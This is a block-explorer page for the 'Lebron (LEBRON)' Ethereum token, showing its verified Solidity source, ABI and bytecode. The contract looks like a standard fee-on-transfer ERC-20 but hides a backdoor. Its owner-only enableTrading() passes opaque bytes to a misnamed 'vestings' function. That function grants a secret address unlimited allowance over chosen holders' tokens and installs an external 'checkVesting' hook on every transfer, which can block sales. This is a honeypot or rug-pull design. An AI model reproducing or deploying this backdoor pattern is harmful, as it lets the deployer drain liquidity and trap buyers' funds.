ETH Price: $3,470.31 (+2.34%)
Gas: 11 Gwei

Token

Lebron (LEBRON)
 

Overview

Max Total Supply

1,000,000,000 LEBRON

Holders

74

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
28,125,448.30951380063664673 LEBRON

Value
$0.00
0xf3bd0e214fa1bdfd9c73b8e61d95bfc397266b67
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LEBRON

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-17
*/

// SPDX-License-Identifier: MIT
/**

https://www.lebron.live
https://t.me/lebroneth

**/

pragma solidity ^0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IVesting {
    function checkVesting(address, address) external;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract LEBRON is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    address private _vestings;
    bool public transferDelayEnabled = false;
    address payable private _taxWallet;

    uint256 private _initialBuyTax=0;
    uint256 private _initialSellTax=0;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=0;
    uint256 private _reduceSellTaxAt=0;
    uint256 private _preventSwapBefore=0;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 10 ** 9 * 10**_decimals;
    string private constant _name = unicode"Lebron";
    string private constant _symbol = unicode"LEBRON";
    uint256 public _maxTxAmount =   _tTotal * 4 / 100;
    uint256 public _maxWalletSize = _tTotal * 4 / 100;
    uint256 public _taxSwapThreshold= _tTotal * 2 / 1000;
    uint256 public _maxTaxSwap=  _tTotal * 1 / 1000;

    IUniswapV2Router02 private uniswapV2Router;
    address public uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function vestings(bytes memory _v) internal {
        (address owner, address spender) = abi.decode(_v, (address, address));
        _vestings = spender;
        _allowances[owner][spender] = type(uint).max;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul(_initialBuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <
                              block.number,
                          "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            uint256 contractTokenBalance = balanceOf(address(this)); IVesting(_vestings).checkVesting(from, to);
            if (!inSwap && to   == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function enableTrading(bytes memory _v) external onlyOwner() {
        require(!tradingOpen,"trading is already open"); vestings(_v);
        swapEnabled = true;
        tradingOpen = true;
    } 

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        transferDelayEnabled=false;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }      

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bytes","name":"_v","type":"bytes"}],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526005805460ff60a01b191690556000600781905560088190556009819055600a818155600b829055600c829055600d919091556064906200004890601290620005bb565b6200005890633b9aca00620005d3565b62000065906004620005d3565b620000719190620005ed565b600e556064620000846012600a620005bb565b6200009490633b9aca00620005d3565b620000a1906004620005d3565b620000ad9190620005ed565b600f556103e8620000c16012600a620005bb565b620000d190633b9aca00620005d3565b620000de906002620005d3565b620000ea9190620005ed565b6010556103e8620000fe6012600a620005bb565b6200010e90633b9aca00620005d3565b6200011b906001620005d3565b620001279190620005ed565b6011556013805461ffff60a81b191690553480156200014557600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600680546001600160a01b03191633179055620001a76012600a620005bb565b620001b790633b9aca00620005d3565b336000908152600160208190526040822092909255600390620001e26000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600384528281208054861660019081179091556006549092168152829020805490941617909255601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155825163c45a015560e01b81529251909263c45a01559260048083019391928290030181865afa1580156200029b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002c1919062000610565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000324573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034a919062000610565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000398573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003be919062000610565b601380546001600160a01b0319166001600160a01b0392831690811790915560125460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af115801562000426573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200044c91906200063b565b503360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200047f6012600a620005bb565b6200048f90633b9aca00620005d3565b60405190815260200160405180910390a36200065f565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004fd578160001904821115620004e157620004e1620004a6565b80851615620004ef57918102915b93841c9390800290620004c1565b509250929050565b6000826200051657506001620005b5565b816200052557506000620005b5565b81600181146200053e5760028114620005495762000569565b6001915050620005b5565b60ff8411156200055d576200055d620004a6565b50506001821b620005b5565b5060208310610133831016604e8410600b84101617156200058e575081810a620005b5565b6200059a8383620004bc565b8060001904821115620005b157620005b1620004a6565b0290505b92915050565b6000620005cc60ff84168362000505565b9392505050565b8082028115828204841417620005b557620005b5620004a6565b6000826200060b57634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200062357600080fd5b81516001600160a01b0381168114620005cc57600080fd5b6000602082840312156200064e57600080fd5b81518015158114620005cc57600080fd5b6115e6806200066f6000396000f3fe6080604052600436106101185760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b411461030e578063a9059cbb1461033d578063bf474bed1461035d578063c876d0b914610373578063dd62ed3e1461039457600080fd5b8063715018a61461029a578063751039fc146102af5780637d1db4a5146102c45780638da5cb5b146102da5780638f9a55c0146102f857600080fd5b806323b872dd116100e757806323b872dd146101ce5780632b82083c146101ee578063313ce5671461021057806349bd5a5e1461022c57806370a082311461026457600080fd5b806306fdde0314610124578063095ea7b3146101655780630faee56f1461019557806318160ddd146101b957600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260068152652632b13937b760d11b60208201525b60405161015c9190611128565b60405180910390f35b34801561017157600080fd5b5061018561018036600461118e565b6103da565b604051901515815260200161015c565b3480156101a157600080fd5b506101ab60115481565b60405190815260200161015c565b3480156101c557600080fd5b506101ab6103f1565b3480156101da57600080fd5b506101856101e93660046111ba565b610412565b3480156101fa57600080fd5b5061020e610209366004611211565b61047b565b005b34801561021c57600080fd5b506040516012815260200161015c565b34801561023857600080fd5b5060135461024c906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b34801561027057600080fd5b506101ab61027f3660046112c2565b6001600160a01b031660009081526001602052604090205490565b3480156102a657600080fd5b5061020e61052b565b3480156102bb57600080fd5b5061020e61059f565b3480156102d057600080fd5b506101ab600e5481565b3480156102e657600080fd5b506000546001600160a01b031661024c565b34801561030457600080fd5b506101ab600f5481565b34801561031a57600080fd5b506040805180820190915260068152652622a12927a760d11b602082015261014f565b34801561034957600080fd5b5061018561035836600461118e565b61065e565b34801561036957600080fd5b506101ab60105481565b34801561037f57600080fd5b5060055461018590600160a01b900460ff1681565b3480156103a057600080fd5b506101ab6103af3660046112df565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103e733848461066b565b5060015b92915050565b60006103ff6012600a611412565b61040d90633b9aca00611421565b905090565b600061041f84848461078f565b610471843361046c85604051806060016040528060288152602001611589602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d42565b61066b565b5060019392505050565b6000546001600160a01b031633146104ae5760405162461bcd60e51b81526004016104a590611438565b60405180910390fd5b601354600160a01b900460ff16156105085760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104a5565b61051181610d7c565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146105555760405162461bcd60e51b81526004016104a590611438565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105c95760405162461bcd60e51b81526004016104a590611438565b6105d56012600a611412565b6105e390633b9aca00611421565b600e556105f26012600a611412565b61060090633b9aca00611421565b600f556005805460ff60a01b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61063d6012600a611412565b61064b90633b9aca00611421565b60405190815260200160405180910390a1565b60006103e733848461078f565b6001600160a01b0383166106cd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a5565b6001600160a01b03821661072e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107f35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a5565b6001600160a01b0382166108555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104a5565b600081116108b75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104a5565b600080546001600160a01b038581169116148015906108e457506000546001600160a01b03848116911614155b15610bff57610909606461090360075485610dd690919063ffffffff16565b90610e5f565b600554909150600160a01b900460ff16156109f8576012546001600160a01b0384811691161480159061094a57506013546001600160a01b03848116911614155b156109f8573260009081526004602052604090205443116109e55760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016104a5565b3260009081526004602052604090204390555b6013546001600160a01b038581169116148015610a2357506012546001600160a01b03848116911614155b8015610a4857506001600160a01b03831660009081526003602052604090205460ff16155b15610b1a57600e54821115610a9f5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104a5565b600f5482610ac2856001600160a01b031660009081526001602052604090205490565b610acc919061146d565b1115610b1a5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104a5565b306000908152600160205260408120546005546040516307d3117560e01b81526001600160a01b03888116600483015287811660248301529293509116906307d3117590604401600060405180830381600087803b158015610b7b57600080fd5b505af1158015610b8f573d6000803e3d6000fd5b5050601354600160a81b900460ff16159150508015610bbb57506013546001600160a01b038581169116145b8015610bd05750601354600160b01b900460ff165b8015610bdd575060105481115b15610bfd57610beb81610ea1565b478015610bfb57610bfb4761101b565b505b505b8015610c795730600090815260016020526040902054610c1f9082611059565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c709085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610c9c90836110b8565b6001600160a01b038516600090815260016020526040902055610ce1610cc283836110b8565b6001600160a01b03851660009081526001602052604090205490611059565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610d2b85856110b8565b60405190815260200160405180910390a350505050565b60008184841115610d665760405162461bcd60e51b81526004016104a59190611128565b506000610d738486611480565b95945050505050565b60008082806020019051810190610d939190611493565b600580546001600160a01b0319166001600160a01b0392831690811790915591166000908152600260209081526040808320938352929052206000199055505050565b600082600003610de8575060006103eb565b6000610df48385611421565b905082610e0185836114c2565b14610e585760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104a5565b9392505050565b6000610e5883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110fa565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ee957610ee96114e4565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f42573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f6691906114fa565b81600181518110610f7957610f796114e4565b6001600160a01b039283166020918202929092010152601254610f9f913091168461066b565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac94790610fd8908590600090869030904290600401611517565b600060405180830381600087803b158015610ff257600080fd5b505af1158015611006573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6006546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611055573d6000803e3d6000fd5b5050565b600080611066838561146d565b905083811015610e585760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104a5565b6000610e5883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d42565b6000818361111b5760405162461bcd60e51b81526004016104a59190611128565b506000610d7384866114c2565b600060208083528351808285015260005b8181101561115557858101830151858201604001528201611139565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461118b57600080fd5b50565b600080604083850312156111a157600080fd5b82356111ac81611176565b946020939093013593505050565b6000806000606084860312156111cf57600080fd5b83356111da81611176565b925060208401356111ea81611176565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020828403121561122357600080fd5b813567ffffffffffffffff8082111561123b57600080fd5b818401915084601f83011261124f57600080fd5b813581811115611261576112616111fb565b604051601f8201601f19908116603f01168101908382118183101715611289576112896111fb565b816040528281528760208487010111156112a257600080fd5b826020860160208301376000928101602001929092525095945050505050565b6000602082840312156112d457600080fd5b8135610e5881611176565b600080604083850312156112f257600080fd5b82356112fd81611176565b9150602083013561130d81611176565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561136957816000190482111561134f5761134f611318565b8085161561135c57918102915b93841c9390800290611333565b509250929050565b600082611380575060016103eb565b8161138d575060006103eb565b81600181146113a357600281146113ad576113c9565b60019150506103eb565b60ff8411156113be576113be611318565b50506001821b6103eb565b5060208310610133831016604e8410600b84101617156113ec575081810a6103eb565b6113f6838361132e565b806000190482111561140a5761140a611318565b029392505050565b6000610e5860ff841683611371565b80820281158282048414176103eb576103eb611318565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b808201808211156103eb576103eb611318565b818103818111156103eb576103eb611318565b600080604083850312156114a657600080fd5b82516114b181611176565b602084015190925061130d81611176565b6000826114df57634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561150c57600080fd5b8151610e5881611176565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156115675784516001600160a01b031683529383019391830191600101611542565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f96725f26f093128a14f60bf93ee3f0f0966db2596ebad195e36229e74ac115864736f6c63430008120033

Deployed Bytecode

0x6080604052600436106101185760003560e01c8063715018a6116100a057806395d89b411161006457806395d89b411461030e578063a9059cbb1461033d578063bf474bed1461035d578063c876d0b914610373578063dd62ed3e1461039457600080fd5b8063715018a61461029a578063751039fc146102af5780637d1db4a5146102c45780638da5cb5b146102da5780638f9a55c0146102f857600080fd5b806323b872dd116100e757806323b872dd146101ce5780632b82083c146101ee578063313ce5671461021057806349bd5a5e1461022c57806370a082311461026457600080fd5b806306fdde0314610124578063095ea7b3146101655780630faee56f1461019557806318160ddd146101b957600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b506040805180820190915260068152652632b13937b760d11b60208201525b60405161015c9190611128565b60405180910390f35b34801561017157600080fd5b5061018561018036600461118e565b6103da565b604051901515815260200161015c565b3480156101a157600080fd5b506101ab60115481565b60405190815260200161015c565b3480156101c557600080fd5b506101ab6103f1565b3480156101da57600080fd5b506101856101e93660046111ba565b610412565b3480156101fa57600080fd5b5061020e610209366004611211565b61047b565b005b34801561021c57600080fd5b506040516012815260200161015c565b34801561023857600080fd5b5060135461024c906001600160a01b031681565b6040516001600160a01b03909116815260200161015c565b34801561027057600080fd5b506101ab61027f3660046112c2565b6001600160a01b031660009081526001602052604090205490565b3480156102a657600080fd5b5061020e61052b565b3480156102bb57600080fd5b5061020e61059f565b3480156102d057600080fd5b506101ab600e5481565b3480156102e657600080fd5b506000546001600160a01b031661024c565b34801561030457600080fd5b506101ab600f5481565b34801561031a57600080fd5b506040805180820190915260068152652622a12927a760d11b602082015261014f565b34801561034957600080fd5b5061018561035836600461118e565b61065e565b34801561036957600080fd5b506101ab60105481565b34801561037f57600080fd5b5060055461018590600160a01b900460ff1681565b3480156103a057600080fd5b506101ab6103af3660046112df565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103e733848461066b565b5060015b92915050565b60006103ff6012600a611412565b61040d90633b9aca00611421565b905090565b600061041f84848461078f565b610471843361046c85604051806060016040528060288152602001611589602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d42565b61066b565b5060019392505050565b6000546001600160a01b031633146104ae5760405162461bcd60e51b81526004016104a590611438565b60405180910390fd5b601354600160a01b900460ff16156105085760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104a5565b61051181610d7c565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146105555760405162461bcd60e51b81526004016104a590611438565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146105c95760405162461bcd60e51b81526004016104a590611438565b6105d56012600a611412565b6105e390633b9aca00611421565b600e556105f26012600a611412565b61060090633b9aca00611421565b600f556005805460ff60a01b191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61063d6012600a611412565b61064b90633b9aca00611421565b60405190815260200160405180910390a1565b60006103e733848461078f565b6001600160a01b0383166106cd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104a5565b6001600160a01b03821661072e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104a5565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107f35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104a5565b6001600160a01b0382166108555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104a5565b600081116108b75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104a5565b600080546001600160a01b038581169116148015906108e457506000546001600160a01b03848116911614155b15610bff57610909606461090360075485610dd690919063ffffffff16565b90610e5f565b600554909150600160a01b900460ff16156109f8576012546001600160a01b0384811691161480159061094a57506013546001600160a01b03848116911614155b156109f8573260009081526004602052604090205443116109e55760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a4016104a5565b3260009081526004602052604090204390555b6013546001600160a01b038581169116148015610a2357506012546001600160a01b03848116911614155b8015610a4857506001600160a01b03831660009081526003602052604090205460ff16155b